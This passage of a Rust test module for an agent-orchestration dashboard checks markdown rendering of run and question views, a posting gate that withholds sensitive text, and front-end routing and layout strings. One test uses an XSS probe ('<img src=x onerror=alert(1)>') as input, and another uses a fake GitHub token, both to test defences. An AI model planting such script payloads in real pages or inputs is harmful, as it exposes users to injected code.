18370                state,
18371                false,
18372                crate::run::Liveness::Unknown,
18373                None,
18374                None,
18375                None,
18376            ))
18377            .unwrap();
18378            assert_eq!(v["done"], done, "{status:?}");
18379        }
18380    }
18381
18382    /// The first node of a markdown block holds a `strong` somewhere.
18383    fn has_strong(nodes: &[md::Node]) -> bool {
18384        serde_json::to_string(nodes).unwrap().contains("strong")
18385    }
18386
18387    #[test]
18388    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
18389        let mut state = RunState::new(
18390            std::path::PathBuf::from("/repo"),
18391            "main".to_owned(),
18392            "abc".to_owned(),
18393            "x".to_owned(),
18394            crate::config::Config::default(),
18395        );
18396        let proposal = |approach: &str| {
18397            serde_json::json!({
18398                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
18399            })
18400        };
18401        state.advice = Some(
18402            serde_json::from_value(serde_json::json!({
18403                "records": [
18404                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
18405                     "proposal": proposal("do **this**")},
18406                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
18407                ],
18408                "synthesis": "- one\n- **two**\n\n`code`",
18409            }))
18410            .unwrap(),
18411        );
18412        state.candidates = serde_json::from_value(serde_json::json!([
18413            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
18414             "summary": "did **it**"},
18415            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
18416        ]))
18417        .unwrap();
18418        // Recorded in ascending severity, the reverse of how the page sorts
18419        // them: the arrays must follow the record, not the display.
18420        state.reviews = serde_json::from_value(serde_json::json!([{
18421            "round": 1, "head": "h",
18422            "reviews": [{
18423                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
18424                "findings": [
18425                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
18426                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
18427                ],
18428            }],
18429            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
18430            "fix": {"agent": "a", "notes": "fixed **it**",
18431                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
18432        }, {"round": 2, "head": "h2", "reviews": []}]))
18433        .unwrap();
18434
18435        let v = serde_json::to_value(RunDetailView::of(
18436            state,
18437            false,
18438            crate::run::Liveness::Unknown,
18439            None,
18440            None,
18441            None,
18442        ))
18443        .unwrap();
18444
18445        let strong = |p: &str| {
18446            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
18447            assert!(n.to_string().contains("strong"), "{p}: {n}");
18448        };
18449        strong("/advice_md/synthesis");
18450        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
18451        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
18452        strong("/advice_md/approaches/0");
18453        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
18454        strong("/candidate_summaries_md/0");
18455        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
18456        strong("/reviews_md/0/reviewers/0/summary");
18457        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
18458        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
18459        assert!(f[1].to_string().contains("strong"));
18460        strong("/reviews_md/0/reconsideration/0");
18461        strong("/reviews_md/0/fix/notes");
18462        strong("/reviews_md/0/fix/rejected/0");
18463        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
18464        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
18465        // The raw strings stay, and no schema moved.
18466        assert_eq!(v["candidates"][0]["summary"], "did **it**");
18467        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
18468    }
18469
18470    #[test]
18471    fn a_run_without_advice_has_no_advice_md() {
18472        let state = RunState::new(
18473            std::path::PathBuf::from("/repo"),
18474            "main".to_owned(),
18475            "abc".to_owned(),
18476            "x".to_owned(),
18477            crate::config::Config::default(),
18478        );
18479        let p = run_prose_md(&state);
18480        assert!(p.advice_md.is_none());
18481        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
18482    }
18483
18484    #[test]
18485    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
18486        let store = ask::Questions::at(PathBuf::from("unused"));
18487        let gt = crate::github_text::Withheld {
18488            title: false,
18489            body: true,
18490            categories: vec!["sensitive-data".into()],
18491        };
18492        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
18493        let (detail, comparison) =
18494            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
18495        let mut q = Question::new(
18496            "r".into(),
18497            "github-text".into(),
18498            "posting-gate".into(),
18499            "s".into(),
18500            detail,
18501            Vec::new(),
18502        );
18503        assert!(
18504            QuestionView::of(q.clone(), &store, None)
18505                .posting_view
18506                .is_none()
18507        );
18508        q.posting_comparison = Some(comparison);
18509        let view = QuestionView::of(q.clone(), &store, None);
18510        let field = &view.posting_view.unwrap().fields[0];
18511        assert_eq!(
18512            field
18513                .original
18514                .iter()
18515                .map(|f| f.text.as_str())
18516                .collect::<String>(),
18517            body
18518        );
18519        assert!(field.original[0].text.starts_with("<img"));
18520        let original_question: Question =
18521            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
18522        assert_eq!(original_question, q);
18523        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
18524            .original
18525            .start = 1;
18526        assert!(
18527            QuestionView::of(q.clone(), &store, None)
18528                .posting_view
18529                .is_none()
18530        );
18531        q.posting_comparison = original_question.posting_comparison;
18532        q.detail.push_str("extra context");
18533        assert!(
18534            QuestionView::of(q.clone(), &store, None)
18535                .posting_view
18536                .is_some()
18537        );
18538        q.detail.insert(0, 'x');
18539        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
18540    }
18541
18542    #[test]
18543    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
18544        let store = ask::Questions::at(PathBuf::from("unused"));
18545        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
18546        let gt = crate::github_text::Withheld::from_check(
18547            &crate::github_text::check("fix: x", body),
18548            "fix: x",
18549            body,
18550        )
18551        .unwrap();
18552        let (detail, comparison) =
18553            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
18554        let mut q = Question::new(
18555            "r".into(),
18556            "github-text".into(),
18557            "posting-gate".into(),
18558            "s".into(),
18559            detail,
18560            Vec::new(),
18561        );
18562        q.posting_comparison = Some(comparison);
18563        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
18564        let field = &value["posting_view"]["fields"][0];
18565        let group = &field["replacement_group"];
18566        let triggers = group["triggers"].as_array().unwrap();
18567        assert_eq!(triggers.len(), 2);
18568        assert_ne!(triggers[0], triggers[1]);
18569        for id in triggers {
18570            assert!(
18571                field["original"]
18572                    .as_array()
18573                    .unwrap()
18574                    .iter()
18575                    .any(|f| &f["pair"] == id)
18576            );
18577            assert!(
18578                !field["changed"]
18579                    .as_array()
18580                    .unwrap()
18581                    .iter()
18582                    .any(|f| &f["pair"] == id)
18583            );
18584        }
18585        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
18586            group["id"].as_u64().unwrap() as usize;
18587        assert!(
18588            QuestionView::of(q, &store, None).posting_view.is_none(),
18589            "group and trigger IDs cannot collide"
18590        );
18591    }
18592
18593    #[test]
18594    fn a_question_view_carries_markdown_for_each_thread_turn() {
18595        let home = TempDir::new().unwrap();
18596        let store = ask::Questions::at(home.path().join("questions"));
18597        let mut q = Question::new(
18598            "run".to_owned(),
18599            "implement".to_owned(),
18600            "impl-A".to_owned(),
18601            "which?".to_owned(),
18602            String::new(),
18603            Vec::new(),
18604        );
18605        q.say("plain words").unwrap();
18606        q.reply("use **this**", Vec::new()).unwrap();
18607        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
18608        let bodies = &v["thread_bodies_md"];
18609        assert_eq!(bodies.as_array().unwrap().len(), 2);
18610        assert!(!bodies[0].to_string().contains("strong"));
18611        assert!(bodies[1].to_string().contains("strong"));
18612    }
18613
18614    #[test]
18615    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
18616        let home = TempDir::new().unwrap();
18617        let store = ask::Questions::at(home.path().join("questions"));
18618        let mut q = Question::new(
18619            "run".to_owned(),
18620            "conduct".to_owned(),
18621            "conduct".to_owned(),
18622            "which?".to_owned(),
18623            String::new(),
18624            Vec::new(),
18625        );
18626        q.say("plain words").unwrap();
18627        q.thread.push(ask::Turn {
18628            who: ask::Who::Agent,
18629            body: "Settled as `merge`".to_owned(),
18630            at: jiff::Timestamp::now(),
18631            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
18632        });
18633        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
18634        let notes = &v["thread_notes_md"];
18635        assert_eq!(notes.as_array().unwrap().len(), 2);
18636        assert!(notes[0].is_null());
18637        let text = notes[1].to_string();
18638        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
18639        assert!(APP_JS.contains("ask-turn-note"));
18640    }
18641
18642    #[test]
18643    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
18644        // The land panel defers to `run.status` for merged, and labels a
18645        // recorded-open PR on any finished run (superseded, blocked, ...) as
18646        // last seen, never as live state.
18647        assert!(APP_JS.contains("function landView(run, raw) {"));
18648        assert!(
18649            APP_JS.contains(
18650                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
18651            )
18652        );
18653        assert!(APP_JS.contains("const pr = landView(run, raw);"));
18654        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
18655        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
18656        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
18657    }
18658
18659    #[test]
18660    fn live_runs_are_never_hidden_or_folded_as_superseded() {
18661        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
18662        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
18663        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
18664        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
18665    }
18666
18667    #[test]
18668    fn review_rounds_label_a_distinct_verified_head() {
18669        assert!(APP_JS.contains("round.verified_head"));
18670        assert!(APP_JS.contains("verified HEAD"));
18671        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
18672    }
18673
18674    #[test]
18675    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
18676        // A blocked task's chip and note must not fall back to a queued-like
18677        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
18678        // itself by e11fc58 but never checked here.
18679        assert!(APP_JS.contains("blocked: { glyph:"));
18680        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
18681
18682        // `blocked_by` mixes task ids and question ids in the same list, and
18683        // the client can only tell them apart by checking each id against
18684        // what it actually knows - never by guessing from the id's shape.
18685        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
18686        assert!(
18687            APP_JS.contains(
18688                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
18689            ),
18690            "the note line must name what a blocked task is waiting on, not just that it is blocked"
18691        );
18692        // The classification must key off `status_str`, never off `blocked_by`
18693        // or `block_reason` merely being present - both can survive briefly
18694        // on a task a hold or a dead daemon just moved off `blocked`.
18695        assert!(APP_JS.contains("if (status === \"blocked\") {"));
18696
18697        // A question a task is blocked on gets its own node in the same
18698        // dependency graph, not just a task-shaped node with nothing known
18699        // about it.
18700        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
18701        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
18702        assert!(
18703            APP_JS.contains("location.hash = \"#/questions\";"),
18704            "a question node must jump to the Questions screen, not pretend to be a task"
18705        );
18706
18707        // `Task::answers` - decisions already made - are shown as a record on
18708        // the card, the same disclosure style as the full instruction.
18709        assert!(APP_JS.contains("Resolved questions"));
18710        assert!(APP_JS.contains("r.answersList.append("));
18711        assert!(APP_CSS.contains(".task-answers"));
18712        {
18713            let start = APP_JS
18714                .find("function updateTalkTaskRow")
18715                .expect("updateTalkTaskRow");
18716            let body = &APP_JS[start..];
18717            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
18718            assert!(
18719                body.contains(
18720                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
18721                ),
18722                "a chat-filed task row must link to the task page"
18723            );
18724            assert!(
18725                !body.contains("#/runs/") && !body.contains("#/queue/"),
18726                "the row must not branch to a run or the queue card"
18727            );
18728            assert!(APP_CSS.contains(".talk-task-link"));
18729        }
18730    }
18731
18732    #[test]
18733    fn a_task_notification_links_to_the_task_page() {
18734        // A task notice opens the task detail page, not the Backlog card.
18735        let start = APP_JS
18736            .find("function noticeLink(")
18737            .expect("noticeLink exists");
18738        let body = &APP_JS[start..];
18739        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
18740        assert!(
18741            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
18742            "a task notice's link must target the task page"
18743        );
18744        assert!(
18745            !body.contains("#/queue/"),
18746            "regression: the task link must not go back to the Backlog route"
18747        );
18748        assert!(
18749            APP_JS.contains(
18750                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
18751            ),
18752            "`#/tasks/<id>` must parse into the task route"
18753        );
18754
18755        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
18756        assert!(
18757            APP_JS.contains(
18758                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
18759            ),
18760            "`#/queue/<id>` must parse into a route carrying that id"
18761        );
18762
18763        // And the Backlog view has to actually land on the card once it can
18764        // - see consumeQueueFocus(), which renderQueue() calls on every pass
18765        // so a focus set before the queue has loaded is retried once it has.
18766        assert!(APP_JS.contains("state.queueFocus = route.id;"));
18767        assert!(APP_JS.contains("function consumeQueueFocus()"));
18768        assert!(APP_JS.contains("jumpToTask(id)"));
18769    }
18770
18771    #[test]
18772    fn notifications_distinguish_actionable_questions_from_informational_notices() {
18773        let start = APP_JS
18774            .find("function noticeCoveredBy(")
18775            .expect("noticeCoveredBy exists");
18776        let body = &APP_JS[start..];
18777        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
18778
18779        // Historical associations are informational, even for open questions.
18780        assert!(body.contains("Associated question ${short}"));
18781        assert!(!body.contains("el(\"a\""));
18782
18783        // A resolved question displays status rather than an actionable link
18784        assert!(body.contains("(resolved)"));
18785        assert!(body.contains("(closed)"));
18786
18787        let start = APP_JS
18788            .find("function renderNotifications()")
18789            .expect("renderNotifications exists");
18790        let body = &APP_JS[start..];
18791        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
18792
18793        // Only a server-resolved answerable question supplies a response link.
18794        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
18795        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
18796        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
18797        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
18798    }
18799
18800    /// Chat rows are two lines at every width: the title alone, then the
18801    /// shrinkable secondary info.
18802    #[test]
18803    fn chat_rows_put_the_title_alone_on_the_first_line() {
18804        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
18805        assert!(APP_CSS.contains(
18806            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
18807        ));
18808        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
18809        assert!(APP_JS.contains("class: \"badge talk-unread\""));
18810    }
18811
18812    #[test]
18813    fn run_rows_put_the_title_alone_on_the_first_line() {
18814        assert!(
18815            APP_CSS.contains(
18816                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
18817            )
18818        );
18819        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
18820        assert!(APP_JS.contains("class: \"card run-card\""));
18821        assert!(APP_JS.contains("class: \"repo run-id\""));
18822    }
18823
18824    /// Wide screens get a master/detail layout built from the views a phone
18825    /// drills into. These are string assertions: they pin the contract between
18826    /// the three assets, not how it looks.
18827    #[test]
18828    fn wide_screens_show_list_and_preview_side_by_side() {
18829        // One breakpoint, spelled the same in the script and the stylesheet.
18830        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
18831        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
18832        assert!(APP_CSS.contains("main[data-split]"));
18833        assert!(APP_CSS.contains("body[data-split]"));
18834
18835        // The route -> panes table, and a narrow screen opting out of it.
18836        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
18837        assert!(
18838            APP_JS.contains(
18839                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
18840            )
18841        );
18842        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
18843        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
18844        assert!(INDEX_HTML.contains("id=\"split-empty\""));
18845
18846        // Selection is derived from the route, and only ever paints a row.
18847        assert!(APP_JS.contains("function markSelected() {"));
18848        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
18849        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
18850        // The dense row must override the stacked card the 720px block sets up.
18851        assert!(
18852            APP_CSS.contains(
18853                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
18854            )
18855        );
18856
18857        // Independent scrolling: the page stops scrolling, each pane does.
18858        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
18859        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
18860        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
18861        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
18862
18863        // A refresh must never navigate: the loaders still check that their
18864        // subject is the one on screen, and crossing the breakpoint only
18865        // re-reads the hash.
18866        assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
18867        assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
18868        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
18869        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
18870
18871        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
18872        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
18873    }
18874
18875    #[test]
18876    fn panel_sandbox_carries_exactly_popups() {
18877        let needle = "sandbox: \"";
18878        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
18879        assert_eq!(
18880            matches.len(),
18881            1,
18882            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
18883        );
18884        let start = matches[0].0 + needle.len();
18885        let end = APP_JS[start..]
18886            .find('"')
18887            .expect("sandbox attribute value must be terminated by a closing quote");
18888        let val = &APP_JS[start..start + end];
18889        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
18890        let expected: std::collections::BTreeSet<&str> =
18891            ["allow-popups", "allow-popups-to-escape-sandbox"]
18892                .into_iter()
18893                .collect();
18894        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
18895        assert!(
18896            !tokens.contains("allow-scripts"),
18897            "allow-scripts must never be present in sandbox"
18898        );
18899        assert!(
18900            !tokens.contains("allow-same-origin"),
18901            "allow-same-origin must never be present in sandbox"
18902        );
18903    }
18904
18905    #[test]
18906    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
18907        // consumeQueueFocus() clears an active Backlog search before it can
18908        // scroll to the target card (the sections list is hidden while a
18909        // search is showing), by recursing back into renderQueue(). The
18910        // fixer's first cut nulled state.queueFocus before that recursive
18911        // call, so the second pass saw nothing to jump to and the jump was
18912        // silently dropped whenever a notification's link was opened with a
18913        // stale search still active. state.queueFocus must only be cleared
18914        // right before jumpToTask() actually runs.
18915        assert!(
18916            APP_JS.contains(
18917                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
18918            ),
18919            "the search-clearing branch must run before state.queueFocus is cleared, or the \
18920             recursive renderQueue() call has nothing left to jump to"
18921        );
18922        assert!(
18923            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
18924            "state.queueFocus must be cleared only once the jump has landed, so a card that \
18925             arrives later still gets it"
18926        );
18927        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
18928        assert!(APP_JS.contains("is not in the current Backlog."));
18929        assert!(APP_JS.contains("li.card[data-task-id=\""));
18930        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
18931        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
18932        assert!(APP_CSS.contains(".card-permalink"));
18933        assert!(APP_CSS.contains(".queue-focus-status"));
18934        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
18935    }
18936
18937    #[test]
18938    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
18939        // The task's own repro: only the link text inside .notice-meta was
18940        // clickable, so a tap on the message, the timestamp, or the card's
18941        // padding did nothing - on a phone that reads as "the card doesn't
18942        // work" even though the tiny link inside it did. Mark read / Dismiss
18943        // must keep working independently of this: `.closest("a, button")`
18944        // is what lets a tap that actually lands on those elements fall
18945        // through instead of being hijacked into a navigation.
18946        assert!(
18947            APP_JS.contains(
18948                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
18949            ),
18950            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
18951        );
18952    }
18953
18954    #[test]
18955    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
18956        assert!(
18957            APP_JS.contains("round.verified_head !== round.head"),
18958            "a round that verified an earlier commit must be visibly distinct from one that \
18959             verified the head reviewers are looking at now"
18960        );
18961        assert!(
18962            APP_JS.contains("round.verified_at"),
18963            "when a check ran must be on the wire, not just which commit"
18964        );
18965        assert!(
18966            APP_JS.contains("resource_blocked"),
18967            "a command magi never got to run (shared build cache contention) must not render \
18968             the same as a command that ran and failed"
18969        );
18970    }
18971
18972    #[test]
18973    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
18974        // Every KPI tile but Total runs and Completion names an exact
18975        // RunStatus and hands it to openRunsFiltered(), which is what wires
18976        // the click into state.runsFilter.status (matchesFilter's own
18977        // status check) rather than the coarser runsStateFilter chips. Each
18978        // status literal here must be one of the strings runSection() (and
18979        // isStale()) actually compare a run's own `status` field against -
18980        // a status this dashboard invented would filter to nothing.
18981        assert!(
18982            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
18983            "every KPI tile built through statusTile() must route its click through \
18984             openRunsFiltered, the single place that sets the Runs filter"
18985        );
18986        for (label, status) in [
18987            ("Merged", "merged"),
18988            ("Ready", "ready"),
18989            ("Blocked", "blocked"),
18990            ("Stalled", "stalled"),
18991        ] {
18992            let call = format!("statusTile(\"{label}\", t.{status}, ");
18993            assert!(
18994                APP_JS.contains(&call),
18995                "expected the {label} KPI tile built via {call}..."
18996            );
18997            assert!(
18998                APP_JS.contains(&format!("status === \"{status}\"")),
18999                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
19000                 compare a run against, not one invented only for the stats tile"
19001            );
19002        }
19003        assert!(
19004            APP_JS.contains("function openRunsFiltered(status)"),
19005            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
19006        );
19007        assert!(
19008            APP_JS.contains(
19009                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
19010            ),
19011            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
19012        );
19013        // applyRoute() only flips which view is visible for a plain `#runs`
19014        // hash - it does not itself redraw the list (see applyRoute's own
19015        // handling below) - so openRunsFiltered must call renderRuns()
19016        // itself, and must call applyRoute() too so the view flips even
19017        // when the hash string doesn't change (the operator may already be
19018        // on the Runs view when a tile is tapped, which fires no
19019        // hashchange event at all).
19020        assert!(
19021            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
19022            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
19023             hashchange event that may never fire"
19024        );
19025    }
19026
19027    #[test]
19028    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
19029        // A stats tile can leave state.runsFilter.status set to something
19030        // done-by-construction (e.g. "merged") - picking "Active" afterward
19031        // must drop it the same way an incompatible tree section is already
19032        // dropped, or the Runs list renders permanently empty with no way
19033        // for the operator to tell why.
19034        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
19035        assert!(
19036            APP_JS.contains(
19037                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
19038            ),
19039            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
19040             guard for an incompatible tree section"
19041        );
19042    }
19043
19044    #[test]
19045    fn every_stats_queue_tile_names_a_real_queue_section() {
19046        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
19047        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
19048        // (consumeQueueSectionFocus finds no matching <details> and drops
19049        // the focus) rather than fail loudly, so pin every key against the
19050        // section list it has to resolve against.
19051        assert!(
19052            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
19053            "every queue tile built through sectionTile() must route its click through \
19054             openQueueSectionFocus"
19055        );
19056        for key in ["upnext", "running", "done", "held", "blocked"] {
19057            assert!(
19058                APP_JS.contains(&format!("{{ key: \"{key}\",")),
19059                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
19060            );
19061        }
19062        // Queued and Failed intentionally both resolve to "upnext" - the
19063        // same section queueSection() itself files them under - rather than
19064        // getting a section each.
19065        for line in [
19066            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
19067            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
19068            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
19069            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
19070            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
19071            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
19072        ] {
19073            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
19074        }
19075    }
19076
19077    #[test]
19078    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
19079        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
19080        // above for the section-focus channel a stats queue tile drives:
19081        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
19082        // through the stale-search-clear recursion into renderQueue(), and
19083        // clear it only once revealQueueSection() is actually about to run -
19084        // the same trap that once silently dropped a task-focus jump.
19085        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
19086        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
19087        assert!(APP_JS.contains("function revealQueueSection(details)"));
19088        assert!(
19089            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
19090            "renderQueue() must consume both focus channels on every pass"
19091        );
19092        assert!(
19093            APP_JS.contains(
19094                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
19095            ),
19096            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
19097             the recursive renderQueue() call has nothing left to reveal"
19098        );
19099        assert!(
19100            APP_JS.contains(
19101                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
19102            ),
19103            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
19104        );
19105        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
19106        // task-focus form of the hash - a plain `#queue` navigation only
19107        // flips which view is visible. openQueueSectionFocus() must
19108        // therefore call renderQueue() itself, and applyRoute() too so the
19109        // view flips even when the hash doesn't change (the Backlog may
19110        // already be open when a tile is tapped, firing no hashchange
19111        // event at all).
19112        assert!(
19113            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
19114            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
19115             hashchange event that may never fire"
19116        );
19117    }
19118
19119    #[tokio::test]
19120    async fn the_change_stream_announces_the_current_revisions_on_connect() {
19121        let f = Fixture::start().await;
19122
19123        let mut socket = tokio::net::TcpStream::connect(f.addr)
19124            .await
19125            .expect("connect");
19126        socket
19127            .write_all(
19128                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
19129            )
19130            .await
19131            .expect("write request");
19132
19133        // Read until the first event arrives rather than to end of stream: the
19134        // stream is endless by design, which is the point of the route.
19135        let mut seen = String::new();
19136        let mut buf = [0u8; 1024];
19137        while !seen.contains("event: change") {
19138            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
19139                .await
19140                .expect("the stream must speak within five seconds")
19141                .expect("read");
19142            assert!(read > 0, "the server closed the change stream: {seen}");
19143            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
19144        }
19145
19146        assert!(
19147            seen.to_lowercase()
19148                .contains("content-type: text/event-stream"),
19149            "the browser only reconnects automatically for a real SSE stream: {seen}"
19150        );
19151        let data = seen
19152            .lines()
19153            .find_map(|l| l.strip_prefix("data:"))
